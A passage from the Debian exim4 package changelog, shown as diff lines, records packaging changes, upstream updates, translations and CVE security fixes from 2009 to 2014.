+ * Now that GMP has been relicensed to LGPLv3+/GPLv2+ build exim against
+ GnuTLS v3.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 05 Apr 2014 14:18:11 +0200
+
+exim4 (4.82-5) unstable; urgency=medium
+
+ * Upgrade to libdb5.3-dev. Closes: #738637 Be paranoid and bump BDBVERSION
+ in exim4-base.postinst from 3.0 (no idea why this did not read 5.1) to
+ 5.3, therefore purging hints db on upgrades.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 12 Feb 2014 19:31:55 +0100
+
+exim4 (4.82-4) unstable; urgency=medium
+
+ * Correct title/name of exim4-config_files(5). (Thanks, Heiko Schlittermann)
+ Closes: #734212
+ * 80_fix_ftbfs_hurd.diff by Samuel Thibault fixes FTBFS on GNU/hurd due to
+ missing support for TCLASS. Closes: #738445
+ * Add debian/upstream-signing-key.pgp (listed in
+ debian/source/include-binaries) and update watchfile to check
+ upstream signature.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 09 Feb 2014 19:41:34 +0100
+
+exim4 (4.82-3) unstable; urgency=low
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 27 Nov 2013 19:51:26 +0100
+
+exim4 (4.82-2) experimental; urgency=low
+
+ * Pull two post-release fixes from upstream git master:
+ + 75_unbind-ldap-connection.diff - Only unbind ldap connection if bind
+ succeeded.
+ + 77_close-the-server-side-of-TLS.diff - Correctly close the server side
+ of TLS when forking for delivery.
+ * Pull 76_fix_ldap_option_setting.diff from Todd Lyons testing tree. See
+ <http://mid.gmane.org/20131029200309.GA277075%40zedat.fu-berlin.de>.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 09 Nov 2013 17:24:59 +0100
+
+exim4 (4.82-1) experimental; urgency=low
+
+ * New upstream stable release.
+ * Drop exim4-config_files.5 symlinks for local_host_whitelist and
+ local_sender_whitelist, add symlinks for host_local_deny_exceptions and
+ sender_local_deny_exceptions instead. Closes: #661365
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 09 Nov 2013 11:52:58 +0100
+
+exim4 (4.82~rc5-1) experimental; urgency=low
+
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 26 Oct 2013 08:50:58 +0200
+
+exim4 (4.82~rc3-1) experimental; urgency=low
+
+ * New upstream version.
+ + TL/15 Fix exiqsumm summary for corner case. Patch provided by Richard
+ Hall.
+ + TL/16 Bugzilla 1289 - Clarify host/ip processing when have errors
+ looking up a hostname or reverse DNS when processing a host list. Used
+ suggestions from multiple comments on this bug.
+ + TL/17 Bugzilla 1057 - Multiple clamd TCP targets patch from Mark Zealey.
+ * Add macros for sending a client certificate on outgoing TLS connections.
+ (REMOTE_SMTP_TLS_CERTIFICATE/REMOTE_SMTP_PRIVATEKEY,
+ REMOTE_SMTP_SMARTHOST_TLS_CERTIFICATE/REMOTE_SMTP_SMARTHOST_PRIVATEKEY)
+ Closes: #677826
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 12 Oct 2013 09:30:28 +0200
+
+exim4 (4.82~rc2-1) experimental; urgency=low
+
+ * exim-gencert: Generate 2048bit key by default. LP: #1200581
+ * New upstream version.
+ + Drop 80_addmanuallybuiltdocs.diff
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 03 Oct 2013 19:24:59 +0200
+
+exim4 (4.82~rc1-1) experimental; urgency=low
+
+ * New upstream version.
+ + TL/02 Add +smtp_confirmation as a default logging option.
+ Closes: #649600
+ + JH/05 Permit multiple router/transport headers_add/remove lines.
+ Closes: #276126
+ + See /usr/share/doc/exim4-base/NewStuff.gz for other newly added
+ features.
+ * Upload to experimental.
+ * Drop unnecessary patches (30_dontoverridecflags.dpatch
+ 75_openssl_sni.diff 76_tls_dh_min_bits.diff 77_docsfortls_dh_min_bits.diff
+ 78_pkcs11_init.diff 84_CVE-2012-5671.patch 85_server_set_id_SPA.diff
+ 86_Dovecot-robustness.diff 87_localinjected_mimeacl.diff), unfuzz patches.
+ * Applying upstream's default configuration updates to Debian configuration
+ change 30_exim4-config_examples to use tls_in_cipher/tls_out_cipher
+ instead of tls_out_cipher. - exim4-config therefore Breaks
+ exim daemon << 4.82~rc1.
+ * 80_addmanuallybuiltdocs.diff: Upstream rc tarball ships empty filter.txt
+ and spec.txt, replace these with correct handbuilt versions.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 29 Sep 2013 14:43:25 +0200
+
+exim4 (4.80-9) unstable; urgency=low
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 14 Sep 2013 08:05:18 +0200
+
+exim4 (4.80-8) experimental; urgency=low
+
+ * Import updated watchfile by Bart Martens. (Handles more compression types
+ and x.y.revision versioning.)
+ * In initscript invoke pidofproc with a pathname argument as it is
+ documented in LSB and required by lsb-base (>= 4.1+Debian9).
+ Closes: #693696, #718871
+ * Improve exim4-config_files.5 and README.Debian - Warn about unresolvable
+ items in host lists. Closes: #627988
+ * Drop support for "/etc/init.d/exim4 what". It offers zero benefit to
+ invoking exiwhat directly and throws an error mesage, too. (Thanks Regid
+ Ichira for the diagnosis.) Closes: #643720
+ * Set "host_find_failed = ignore" (instead of defer) on smarthost and
+ hub_user_smarthost router. Now if one (of the possibly multiple) listed
+ smarthosts is not resolvable (NXDOMAIN) ignores it and and tries the next
+ listed one. If all listed hosts are unresolvable the mail is still
+ defered, since host_all_ignored is set to defer by default. Therefore the
+ behavior does not change for single-smarthost systems. Closes: #658878
+ * Remove obsolete conffile /etc/cron.monthly/exim4-base which was only
+ shipped in 4.69-3. Closes: #689334
+ * Update exim_db.8, syncing against spec.txt from exim 4.80.
+ * 87_localinjected_mimeacl.diff from upstream GIT. When injecting a message
+ locally in non-SMTP mode, and with MIME ACLs configured, if the ACL
+ rejected the message, Exim would try to `fprintf(NULL, "%s",
+ the_message)`. This fixes that.
+ * [lintian] Escape some dashes in exim4-config_files.5.
+ * Point vcs-* to anonscm.
+ * Remove pidfile after stopping the daemon, exim does not remove it itself.
+ Closes: #702988
+ * eu.po: Fix last reference to /usr/share/doc/exim4-base/README.Debian
+ (without either .html or .gz suffix). Closes: #394975
+ * Merge autopkgtests from Ubuntu (Thanks Yolanda Robla for the pointer)
+ Closes: #710018
+ + tests/CVE-2010-4344.py is GPLv2 - Add license header.
+ + tests/daemon and tests/security do not use bashisms, change shebang
+ to /bin/sh.
+ * Upload to experimental, due to perl transition.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 01 Sep 2013 15:58:49 +0200
+
+exim4 (4.80-7) unstable; urgency=low
+
+ * Use exim's ${quote:xxx} operator when invoking spfquery to disallow
+ bypassing of SPF validation by using special mailbox names. (Thanks to
+ Lekensteyn for diagnosis and testing.) Closes: #697057
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 02 Jan 2013 19:37:21 +0100
+
+exim4 (4.80-6) unstable; urgency=low
+
+ * Cherrypick two changes from GIT:
+ + 85_server_set_id_SPA.diff: server_set_id was not stored in
+ $authenticated_id when using SPA authentication.
+ http://article.gmane.org/gmane.mail.exim.user/92181
+ + 86_Dovecot-robustness.diff: robustness fixes for the Dovecot
+ authenticator.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 21 Nov 2012 19:08:53 +0100
+
+exim4 (4.80-5.1) unstable; urgency=high
+
+ * Non-maintainer upload by the Security Team.
+ * CVE-2012-5671: Fix heap-based buffer overflow in DKIM handling.
+
+ -- Nico Golde <nion@debian.org> Thu, 25 Oct 2012 20:11:11 +0200
+
+exim4 (4.80-5) unstable; urgency=low
+
+ * Fix grammar error in debian/manpages/exim4-config_files.5. (Thanks,
+ Regid Ichira)
+ * Fix hardening support. (Thanks, Simon Ruderich)
+ + Append $(CPPFLAGS) to CFLAGS, the exim buildsystem does not use it.
+ + Set LFLAGS += $(LDFLAGS) in debian/rules.
+ Closes: #687645
+ * Correct typo in Russian debconf translation. (Thanks, Krasu)
+ Closes: #683385
+ * Point Vcs-* to git repository.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 23 Sep 2012 12:20:16 +0200
+
+exim4 (4.80-4) unstable; urgency=low
+
+ * Disable autoloading of PKCS#11 modules. Closes: #678238
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 23 Jun 2012 18:35:03 +0200
+
+exim4 (4.80-3) unstable; urgency=low
+
+ * Pull 75_openssl_sni.diff from upstream. - Segfault caused by NULL
+ dereference if Exim is built using OpenSSL, tls_sni is used and a
+ forced expansion failure is configured.
+ * Pull 76_tls_dh_min_bits.diff (and the corresponding doc change
+ 77_docsfortls_dh_min_bits.diff) from upstream. Adds a new SMTP transport
+ option tls_dh_min_bits for setting the minimal size of DH parameters.
+ * Add macro TLS_DH_MIN_BITS for setting the tls_dh_min_bits smtp transport
+ option. Closes: #676563
+ * [lintian] Stop shipping empty directory /usr/share/exim4 in exim4-base.
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 08 Jun 2012 12:37:05 +0200
+
+exim4 (4.80-2) unstable; urgency=low
+
+ * [Brown paper bag] actually target unstable in changelog.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 03 Jun 2012 17:24:05 +0200
+
+exim4 (4.80-1) experimental; urgency=low
+
+ * New upstream version, identical to rc7.
+ * Add a missing piece of documentation to update-exim4.conf.8. DCreadhost
+ is not only used for rewriting, in satellite setup it is also
+ the host where local mail is delivered to. (Thanks, Regid Ichira).
+ Closes: #675712
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 03 Jun 2012 16:49:51 +0200
+
+exim4 (4.80~rc7-1) experimental; urgency=low
+
+ * New upstream version.
+ * Let debian/EDITME.openssl.exim4-light.diff apply again.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 29 May 2012 19:33:07 +0200
+
+exim4 (4.80~rc6-1) experimental; urgency=low
+
+ * Ship newly available GnuTLS-FAQ.txt in exim4-base.
+ * Upstream's handling of GnuTLS DH parameters has changed, hardcoded
+ parameters (from RFCs are used by default. See
+ /usr/share/doc/exim4-base/README.UPDATING* for details. Stop shipping
+ /usr/share/exim4/exim4_refresh_gnutls-params /usr/share/exim4/timeout.pl
+ and /var/spool/exim4/gnutls-params-2236.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 27 May 2012 18:46:48 +0200
+
+exim4 (4.80~rc5-1) experimental; urgency=low
+
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 24 May 2012 20:20:24 +0200
+
+exim4 (4.80~rc4-1) experimental; urgency=low
+
+ * New upstream version.
+ + Unfuzz 50_localscan_dlopen.dpatch
+ + Drop 80_revert_stringformatprintf.diff, superseded upstream.
+ + Default DH param size switched to 2236 for NSS compat. Update
+ generation script and shipped parameters.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 21 May 2012 20:00:18 +0200
+
+exim4 (4.80~rc2-1) experimental; urgency=low
+
+ * Fix typo in retry/30_exim4-config (s/frequenzy/frequency/) (Thanks, Regid
+ Ichira). Closes: #646338
+ * dpkg-buildflags supersedes hardening-wrapper. set
+ DEB_BUILD_MAINT_OPTIONS := hardening=+bindnow,+pie to use features enabled
+ by hardening-wrapper by default. Make sure to always set -Wall.
+ * List mapppings between debconf choices ("mail sent by smarthost; no local
+ mail" et al.) and corresponding values of the DC_eximconfig_configtype
+ macro in update-exim4.conf(8). Closes: #651883
+ * README.Debian.*: Correct documentation of the lowuid_aliases router. - The
+ macro is named FIRST_USER_ACCOUNT_UID instead of FIRST_USER_UID. (Thanks,
+ Yubao Liu) Closes: #653058
+ * add more verbose help to /etc/default/exim4. Closes: #653272
+ * Updated French debconf templates translation. (thanks for proofreading,
+ debian-l10n-french!) Closes: #668475
+ * Fix typo usualy in update-exim4.conf.8.
+ * Add source lintian override (debian/source/lintian-overrides) for
+ binaries-have-file-conflict exim4-daemon-heavy-dbg exim4-daemon-light-dbg.
+ *-daemon-dbg depends on the respective -daemon, and the daemon-packages
+ conflict with each other.
+ * New upstream version:
+ + Unfuzz patches
+ + Update 66_enlarge-dh-parameters-size.dpatch. This is now a noop if built
+ against gnutls >= 2.12.
+ + Default DH param size is 2432, update generation script and shipped
+ parameters.
+ + Unfuzz/update */EDITME/*. Update debian/example.conf.md5.
+ + 80_revert_stringformatprintf.diff. Do not mark string_format() as
+ PRINTF_FUNCTION(3,4) to allow compilation with -Wformat
+ -Werror=format-security
+ + Sets accept_8bitmime = true by default. Closes: #445013
+ + Uses GnuTLS priority string for configuration. (See NEWS.Debian)
+ Closes: #624041
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 20 May 2012 15:57:15 +0200
+
+exim4 (4.77-1) unstable; urgency=low
+
+ * Fix typo in exim4-config_files.5. (Thanks, Regid Ichira) Closes: #645283
+ * New upstream stable release. (No major changes compared to rc4)
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 22 Oct 2011 18:00:11 +0200
+
+exim4 (4.77~rc4-1) experimental; urgency=low
+
+ * New upstream release candidate.
+ + drop patches included in this release.
+ (80_gnutls_certificate_verify_peers2.diff 80_gnutls_initrc.diff
+ 80_TLS1.2-and-TLS1.1-support.diff)
+ + New expansion conditions, "inlist", "inlisti".
+ + Exim no longer performs string expansion on the second string of
+ the match_* expansion conditions: "match_address", "match_domain",
+ "match_ip" & "match_local_part". Named lists can still be used. The
+ previous behavior made it too easy to create (remotely) vulnerable
+ configurations. A more detailed rationale and explanation can be found
+ on
+ https://lists.exim.org/lurker/message/20111003.122326.fbcf32b7.en.html
+ + doc/pcrepattern.txt is not shipped anymore as part of the exim tarball
+ (and therefore the Debian package suite.)
+ * Make use of /usr/share/dpkg/buildflags.mk if available.
+ * Change build system to build each binary variant in a separate copy of
+ the source tree instead of re-using the copy and moving away the results
+ after build. The old approach stopped working since upstream added a
+ dependency on make all to make install. - As we were changing parts of
+ tree (Local/Makefile) after the build this caused an (incorrect) rebuild
+ on make install.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 08 Oct 2011 13:07:35 +0200
+
+exim4 (4.76-4) experimental; urgency=low
+
+ * 80_TLS1.2-and-TLS1.1-support.diff (pulled from upstream GIT gnutls_fixes
+ branch): Enable TLS1.2 and TLS1.1
+ * 80_gnutls_certificate_verify_peers2.diff, 80_gnutls_initrc.diff (pulled
+ from upstream GIT gnutls_fixes branch): Use
+ gnutls_certificate_verify_peers2() instead of
+ gnutls_certificate_verify_peers(). The deprecated function was dropped in
+ GnuTLS 3.x. Closes: #624082
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 24 Sep 2011 18:36:08 +0200
+
+exim4 (4.76-3) unstable; urgency=low
+
+ * [exim4-base.cron.daily] Correct invocation of mail(1), options need to be
+ specified before arguments for compatibility with heirloom-mailx (Thanks,
+ Andreas Schiweck). Closes: #629314
+ * [exim4-base.exim4.init] Use echo instead of log_failure_msg for the panic
+ log warning. Closes: #629610
+ * [exim4-base.postinst] Also take care of ratelimit db on bdbd upgrades.
+ Closes: #630985
+ * Update Debian exim webpage URL. Closes: #641126
+ * Do not run upgrade test for 4.67-5 on exim4.conf.template if split config
+ is used and vice versa. Closes: #577633
+ * [lintian] Do not specify priority in binary package stanzas, unless it
+ deviates from the source package priority setting.
+ * [lintian] Drop unused lintian override binary-without-manpage
+ usr/sbin/exim.
+ * [lintian] Improve on short descriptions of *-dbg packages.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 18 Sep 2011 11:49:13 +0200
+
+exim4 (4.76-2) unstable; urgency=low
+
+ * debian/rules: Remove test/ and test-stamp on clean.
+ * Handle BerkeleyDB upgrades more gracefully. Instead of checking Debian
+ version numbers compare DB-version of old exim (stored by postinst in
+ /var/lib/exim4/berkeleydbvers.txt) with currently used DB-version
+ (hardcoded at build time in exim4-base.postinst).
+ * [exim4-base.postinst exim4-config.postinst] Do away with unnecessary
+ chowns by dropping them or limiting to upgrades from 4.30.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 29 May 2011 18:21:03 +0200
+
+exim4 (4.76-1) unstable; urgency=low
+
+ * New upstream version.
+ * Drop 80_match_isinlist.diff (included upstream).
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 09 May 2011 19:12:09 +0200
+
+exim4 (4.76~RC1-3) experimental; urgency=low
+
+ * 80_match_isinlist.diff pulled from upstream git.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 08 May 2011 14:44:20 +0200
+
+exim4 (4.76~RC1-2) experimental; urgency=low
+
+ * Fix testsuite error.
+ * Disable verification of DKIM signatures if DC_minimaldns or the (newly
+ added) DISABLE_DKIM_VERIFY macro are set. Closes: #609764
+ * [lintian] Drop useless comments from debian/watch.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 08 May 2011 08:58:24 +0200
+
+exim4 (4.76~RC1-1) experimental; urgency=low
+
+ * New upstream version.
+ * Drop superfluous patches. 80_ldap_require_cert-work.diff
+ 81_negatebool.diff 82_dkimpercent.diff
+ * [Lintian] Fix grammar error in manpage (spelling-error-in-manpage
+ update-exim4defaults.8.gz allows to allows one to).
+ * [debian/minimaltest]: Added. Try to run a minimal functionality test after
+ building exim. (Currently only supported if the build-system has a
+ Debian-exim user.)
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 06 May 2011 20:27:56 +0200
+
+exim4 (4.75-3) unstable; urgency=high
+
+ * [debian/rules] Fix dependencies and targets, speeding up package build.
+ Previously everything was compiled twice.
+ * Patches pulled from upstream git:
+ +81_negatebool.diff Negating the $bool expansion condition did not work.
+ +82_dkimpercent.diff dkim sig logged to paniclog. Closes: #624670
+ (CVE-2011-1764)
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 06 May 2011 20:08:51 +0200
+
+exim4 (4.75-2) unstable; urgency=low
+
+ * clamav socket on Debian is clamd:/var/run/clamav/clamd.ctl, fix
+ configuration example accordingly. (Thanks, Roman V. Nikolaev)
+ Closes: #622111
+ * Use on libdb5.1-dev (instead of 4.8), zap hints db on upgrade from <=
+ 4.75-1. Closes: #621388
+ * Enable hardening options. (Last difference to Ubuntu except for not being
+ the default-mta there.) Closes: #542726
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 16 Apr 2011 14:45:36 +0200
+
+exim4 (4.75-1) unstable; urgency=low
+
+ * New upstream version.
+ * 80_ldap_require_cert-work.diff Pulled from upstream git. The new
+ ldap_require_cert option would segfault if used.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 28 Mar 2011 19:24:55 +0200
+
+exim4 (4.75~rc3-1) experimental; urgency=low
+
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 03 Mar 2011 19:10:06 +0100
+
+exim4 (4.75~rc2-1) experimental; urgency=low
+
+ * New upstream version.
+ + Fixes exiqgrep "Line mismatch" error on messages without size info.
+ Closes: #528625
+ + Restore default SIGPIPE handler for child_open_uid. Closes: #573779
+ * Enable verbose compilation.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 27 Feb 2011 11:59:45 +0100
+
+exim4 (4.74-2) unstable; urgency=low
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 24 Feb 2011 19:02:07 +0100
+
+exim4 (4.74-1) experimental; urgency=low
+
+ * 4.74 release, should build on hurd again.
+ * Fix some lintian --pedantic issues: copyright-refers-to-symlink-license
+ maintainer-script-without-set-e debian-control-has-unusual-field-spacing
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 29 Jan 2011 15:39:51 +0100
+
+exim4 (4.74~rc2-1) experimental; urgency=low
+
+ * In spf example use spf-tools-perl's spfquery instead of the one from
+ libmail-spf-query-perl. Do not try to use unimplemented best-guess
+ support. Update Suggests accordingly. Closes: #608336
+ * Add headers in ACL by using the add_header modifier instead of "message".
+ (This modifier has been available since 4.61.) Closes: #609308
+ * New upstream version.
+ + includes the fix for CVE-2011-0017
+ + If a non-debug daemon was invoked with a non-whitelisted macro, then
+ logs from after attempting delivery would be silently lost, including
+ for successful delivery. This log-loss bug was introduced in 4.73
+ as part of the security lockdown. Closes: #610611
+ + Update some patches.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 23 Jan 2011 14:02:36 +0100
+
+exim4 (4.73~rc1-1) experimental; urgency=low
+
+ * New upstream release candidate.
+ * Drop included patches. 80_4.73rc1_*, 40_dkimnotinpaniclog.diff.
+ * Update 31_eximmanpage.dpatch.
+ * exim4 now uses INSTREAM (added in clamav 0.95) instead of STREAM when
+ talking to clamav. exim4-daemon-heavy therefore Breaks: clamav-daemon
+ (<< 0.95).
+ * Unfuzz EDITME*diff.
+ * Dependency changes:
+ + Drop exim4-config's conflicts with bash (<< 2.05). This was relevant
+ pre-sarge.
+ + Drop exim4-daemon-* dependency on exim4-base (>> 4.71-2). This one is
+ superfluous because of of the dependency on
+ exim4-base (>= ${Upstream-Version}).
+ + exim4-config breaks instead of conflicts with pre-DKIM (i.e. << 4.69.1)
+ exim4-daemon.
+ + exim4-base breaks instead of conflicts with <<${Upstream-Version} daemon
+ packages.
+ * Add Vcs-Svn and Vcs-Browser fields to debian/control.
+ * Build depend on libmysqlclient-dev | libmysqlclient15-dev instead of
+ libmysqlclient15-dev. libmysqlclient-dev is not a virtual package
+ anymore. Closes: #590218
+ * Use db_settitle unconditionally, even etch supports this. Drop unneeded
+ lintian override exim4-config: settitle-requires-versioned-depends.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 27 Dec 2010 19:48:19 +0100
+
+exim4 (4.72-6) unstable; urgency=high
+
+ * 80_4.74_filtertesting.diff: Do not abort when setgid fails if privileges
+ were dropped. This fixes a regression from 4.72-2, it was not possible to
+ test filter files with exim4 -bf anymore. Closes: #611572
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 31 Jan 2011 19:05:48 +0100
+
+exim4 (4.72-5) unstable; urgency=medium
+
+ * 80_4.74_deliverylogging.patch (Pulled from upstream git): If a non-debug
+ daemon was invoked with a non-whitelisted macro, then logs from after
+ attempting delivery would be silently lost, including for successful
+ delivery. This log-loss bug was introduced as part of the security
+ lockdown for fixing CVE-2010-4345. Closes: #610611
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 29 Jan 2011 14:33:36 +0100
+
+exim4 (4.72-4) unstable; urgency=medium
+
+ * In spf example use spf-tools-perl's spfquery instead of the one from
+ libmail-spf-query-perl. Do not try to use unimplemented best-guess
+ support. Update Suggests accordingly. Closes: #608336
+ * 80_4.74_CVE-2011-0017.patch (Pulled from upstream git): Check return
+ values of setgid/setuid. This is a privilege escalation vulnerability
+ whereby the Exim run-time user can cause root to append content of the
+ attacker's choosing to arbitrary files.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 22 Jan 2011 17:48:19 +0100
+
+exim4 (4.72-3) unstable; urgency=low
+
+ * [README.Debian*] Correct command for manual paniclog rotation. (Thanks,
+ Jörg Sommer) Closes: #602188
+ * 67_unnecessaryCopt.diff: Do not use exim's -C option in utility scripts.
+ This would not work with ALT_CONFIG_PREFIX.
+ * Pull changes related to fixing CVE-2010-4345 from exim 4.73 rc1.
+ Closes: #606527
+ + 1_cfile_norw_eximuid: Don't allow a configure file which is writeable by
+ the Exim user or group.
+ + 2_permcheck_configurefile: Check configure file permissions even for
+ non-default files if still privileged.
+ + 3_remove_ALT_CONFIG_ROOT_ONLY: Remove ALT_CONFIG_ROOT_ONLY build option,
+ effectively making it always true.
+ + 4_FD_CLOEXEC: Set FD_CLOEXEC on SMTP sockets after forking in the
+ daemon, to ensure that rogue child processes cannot use them.
+ + 5_TRUSTED_CONFIG_LIST: Add TRUSTED_CONFIG_LIST compile option.
+ + 6_nonroot_system_filter_user: If the system filter needs to be run as
+ root, let that be explicitly configured. The default is now the Exim
+ run-time user.
+ + 7_filter_D_option: Add a (compiletime) whitelist of acceptable values
+ for the -D option.
+ + 8_updatedocumentation: Update documentation to reflect the changes.
+ * Build with WHITELIST_D_MACROS=OUTGOING. Post patch 7_filter_D_option exim
+ will not regain root privileges (usually necessary for local delivery) if
+ the -D option was used. Macro identifiers listed in WHITELIST_D_MACROS are
+ exempted from this restriction. mailscanner (4.79.11-2.2) uses -DOUTGOING.
+ * Build with TRUSTED_CONFIG_LIST=/etc/exim4/trusted_configs. Post patch
+ 3_remove_ALT_CONFIG_ROOT_ONLY exim will not re-gain root privileges
+ (usually necessary for local delivery) if the -C option was used. This
+ makes it impossible to start a fully functional damon with an alternate
+ configuration file. /etc/exim4/trusted_configs (can) contain a list of
+ filenames (one per line, full path given) to which this restriction does
+ not apply.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 26 Dec 2010 15:13:08 +0100
+
+exim4 (4.72-2) unstable; urgency=low
+
+ [ Marc Haber ]
+ * Apply patch to russian (ru) debconf template, thanks to Тим
+ ÐлекÑеевÑкий and Tim Alexeevsky. Closes: #576202
+ * fix exim4-config_files man page, mention
+ {host|sender}_local_deny_exceptions instead of
+ local_{host|sender}_whitelist. Thanks to Fabien André in #578176
+ * add !acl = acl_local_deny_exceptions to defer stanzas in SPF code.
+ Thanks to Fabien André. Closes: #578176
+ * Re-work config.autogenerated header to more exactly reflect
+ configuration source. (mh) Closes: #593984
+
+ [ Andreas Metzler ]
+ * Fix getopt invocation to make update-exim4.conf.template -o work. (Thank
+ you Matthew W. S. Bell) Closes: #590333
+ * 40_dkimnotinpaniclog.diff pulled from upstream git. Stop logging
+ non-critical DKIM errors in paniclog. Closes: #567876
+ * Debconf translations:
+ - Danish. Closes: #592792
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 30 Oct 2010 13:38:26 +0200
+
+exim4 (4.72-1) unstable; urgency=low
+
+ * New upstream release. (Identical to the git snapshot previously
+ uploaded to experimental.)
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 03 Jun 2010 17:42:52 +0200
+
+exim4 (4.72~20100529-1) experimental; urgency=low
+
+ * Git snapshot 20100529.
+ + Fix documentation for exipick -bpra. #574778
+ + CVE-2010-2024: Protect against symlink attacks on MBX lockfile in /tmp.
+ (Debian's default configuration does not use MBX format, but the
+ exim4-daemon-heavy binary supports MBX.)
+ + CVE-2010-2023 Prevent hardlink attack on mbox sticky mail directory.
+ (Probably not relevant for Debian systems at all, since the mail spool
+ is 2775 root:mail.)
+ + Dovecot authenticator ignores unknown keywords, making it compatible
+ with version 1.1 of Dovecot authentication protocol. (= dovecot 2.0).
+ See Changelog for complete list.
+ * Drop patches included upstream: 36_typoinexipick.diff
+ 20_PDKIM-Upgrade-PolarSSL.diff.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 30 May 2010 14:01:52 +0200
+
+exim4 (4.71-4) unstable; urgency=low
+
+ * Drop unneeded lintian overrides.
+ + description-contains-homepage
+ + debian/source.lintian-overrides dbg-package-missing-depends exim4-dbg.
+ + partially-translated-question
+ + maintainer-script-needs-depends-on-update-inetd
+ + possible-bashism-in-maintainer-script
+ + binary-without-manpage
+ + possible-debconf-note-abuse
+ + changelog-not-compressed-with-max-compression
+ * Lintian informational hints:
+ + hyphen-used-as-minus-sign. debian/manpages/exim4-config_files.5
+ debian/manpages/update-exim4.conf.8 debian/manpages/exiwhat.8
+ * Use dh_lintian.
+ * Fix sourcing of lsb-functions in init-script. Test for existence of
+ /usr/lib/exim4/exim4 first. Unconditionally read /lib/lsb/init-functions.
+ If they are not present the package's dependencies are not installed.
+ Bump dependency on lsb-base to 3.0-6. (log_action_*)
+ * Update reference to spec.txt in README.Debian. Closes: #568051
+ * Invoke spfquery as spfquery.mail-spf-query-perl. There are three different
+ implementations of spfquery in Debian, with incompatible commandline
+ switches and different exit codes. Closes: #573956
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 25 Mar 2010 17:34:30 +0100
+
+exim4 (4.71-3) unstable; urgency=low
+
+ * exim4-base.cron.daily: Do not run exim_tidydb on Berkeley DB logfiles.
+ Closes: #501892
+ * exim4-base.postinst: If exim_dumpdb fails to read a hints-db also remove
+ Berkeley DB logfiles.
+ * Switch to Berkeley DB 4.8 (from 4.6). Zap hints db on upgrade. Temporarily
+ make -daemon packages depend on exim4-base >> 4.71-2. (This can be removed
+ after the next upstream release.)
+ Closes: #548479
+ * control: Drop bzip2 from Build-Depends. Use line-wrapping for
+ Build-Depends.
+ * 36_typoinexipick.diff: Fix a typo in exipick manpage. (Lintian).
+ * exim4-base.postinst: Redirect status message to stderr.
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 01 Jan 2010 13:41:44 +0100
+
+exim4 (4.71-2) unstable; urgency=low
+
+ * Pulled from upstream: 20_PDKIM-Upgrade-PolarSSL.diff. Update files copied
+ from PolarSSL to 0.12.1.
+ * Add example file to set smarthost from /etc/network/interfaces (mh)
+ * Add DKIM_* macros on remote smtp transports for setting the corresponding
+ dkim_* options.
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 12 Dec 2009 13:24:21 +0100
+
+exim4 (4.71-1) experimental; urgency=low
+
+ * New upstream version.
+ + Drop patches included upstream. 51_dkimrelatedcrash.diff
+ 51_noreject_unsigned.diff.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 28 Nov 2009 12:03:50 +0100
+
+exim4 (4.70-2) experimental; urgency=low
+
+ * 51_noreject_unsigned.diff Fix a dkim related expansion error that appears
+ when the expanded value of dkim_verify_signers winds up empty and
+ acl_smtp_dkim is defined. (This has the effect of rejecting any mail
+ without DKIM signature.)
+ * Work around 490937 by removing CHANGES.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 21 Nov 2009 10:15:41 +0100
+
+exim4 (4.70-1) experimental; urgency=low
+
+ * Point watchfile to ftp.exim.org.
+ * Use dpkg-source v3 instead of dpatch, simplifying debian/rules a little
+ bit.
+ * New upstream version.
